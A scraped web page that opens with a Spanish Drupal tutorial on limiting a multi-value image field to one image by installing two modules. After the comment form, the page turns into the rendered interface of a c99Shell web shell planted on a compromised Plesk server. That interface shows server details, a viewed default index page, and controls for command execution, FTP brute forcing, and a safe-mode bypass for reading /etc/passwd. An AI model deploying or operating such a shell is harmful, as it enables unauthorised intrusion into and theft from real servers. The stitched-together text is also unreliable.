Subir

Mostrar una única imagen en Resumen

Limitar valores en campos múltiples en Tipo de Contenido

En el supuesto de hoy: Tenemos un tipo de contenido, el que sea, y le hemos añadido un campo: Imagen, con la particularidad de que tiene múltiples valores, es decir, que subimos varias imágenes dentro de ese campo.
 
Cuando estamos trabajando en la visualización de esos contenidos, Resumen, Predeterminado, etc.., nos encontramos que Drupal, por defecto, muestra todas las imágenes que hemos subido en ese campo, y no nos permite limitar el número de imágenes que se muestran.
 
Existe un pequeño módulo que nos permite limitar el número de imágenes, para el caso de que por ejemplo, querramos mostrar una única imagen. Para ello nos vamos a descargar e instalar dos pequeños módulos:
 
-Field multiple limit
-Field formatter settings
 
Instalamos y activamos estes dos módulos y cuando configuremos la visualización del campo en Tipo de Contenido/Gestionar Presentación/Imagen, nos permite limitar el número de campos que se mostrarán, tal como podéis ver en la imagen que os adjunto

Temas blog: 
Imagen de rummykhan
SOBRE EL AUTOR

Experto en desarrollo de portales web, comercio electrónico y seo.

Añadir nuevo comentario

Filtered HTML

  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Etiquetas HTML permitidas: <a> <em> <strong> <cite> <blockquote> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Saltos automáticos de líneas y de párrafos.

Plain text

  • No se permiten etiquetas HTML.
  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Saltos automáticos de líneas y de párrafos.
laranikita.es - phpshell

!c99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.3.3 

uname -a: Linux abretutiendaonline.com 2.6.32-042stab134.3 #1 SMP Sun Oct 14 12:26:01 MSK 2018
x86_64
 

uid=48(apache) gid=48(apache) groups=48(apache),502(psaserv),508(psasb) 

Safe-mode: OFF (not secure)

/var/www/vhosts/abretutiendaonline.com/httpdocs/   drwxr-xr-x
Free 35.21 GB of 49.09 GB (71.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.html (11.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Domain Default page

Welcome to Parallels!

If you are seeing this message, the website for is not available at this time.
If you are the owner of this website, one of the following things may be occurring:

  • You have not put any content on your website.
  • Your provider has suspended this page.

Please login to to receive instructions on setting up your website

New to Parallels?

Parallels is a worldwide leader in virtualization and automation software that optimizes computing for consumers, businesses, and Cloud services providers across all major hardware, operating systems, and virtualization platforms.

For the Cloud, Parallels automation and virtualization software enables cloud services providers to rapidly and profitably deliver the widest range of cloud services that small businesses want and need. Our software includes key building blocks of cloud service delivery - self service control panels, billing, cloud service provisioning and virtualization. We enable the delivery of all types of services that small businesses need - shared web hosting and web applications, messaging and collaboration services, virtualized infrastructure services and thousands of other applications.

Our Automation products allow businesses to optimize their systems to maximize profit. Our Virtualization products allow personal computers to run several operating systems on one computer (like OSX and Windows) and for individual servers to function like many servers at once for creating cloud computing environments.

This website was created using our Parallels Panel product. We offer a full line of Billing, Sitebuilder and cloud computing tools. Please visit www.parallels.com to find out more information.

Test pages

Parallels Plesk Panel provides several test pages that you can use for checking the scripting features, testing database connections and mail sending. Click an icon to see test pages for different scripts:

Consumer Products

Parallels® Desktop
for Mac

Parallels® Desktop for Mac The best solution for running Windows, Linux, or any of many other operating systems alongside OS X.

Parallels® Desktop for
Windows and Linux

Parallels® Desktop for Windows and Linux Simultaneously run multiple operating systems on your PC

Service Provider Products

Parallels® Automation

Parallels® Automation Hosting, SaaS, and cloud computing automation solution.

Parallels® Panel

Parallels® Panel The Best Control Panel Ever For Easy, Complete and Profitable Hosting

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0116 ]--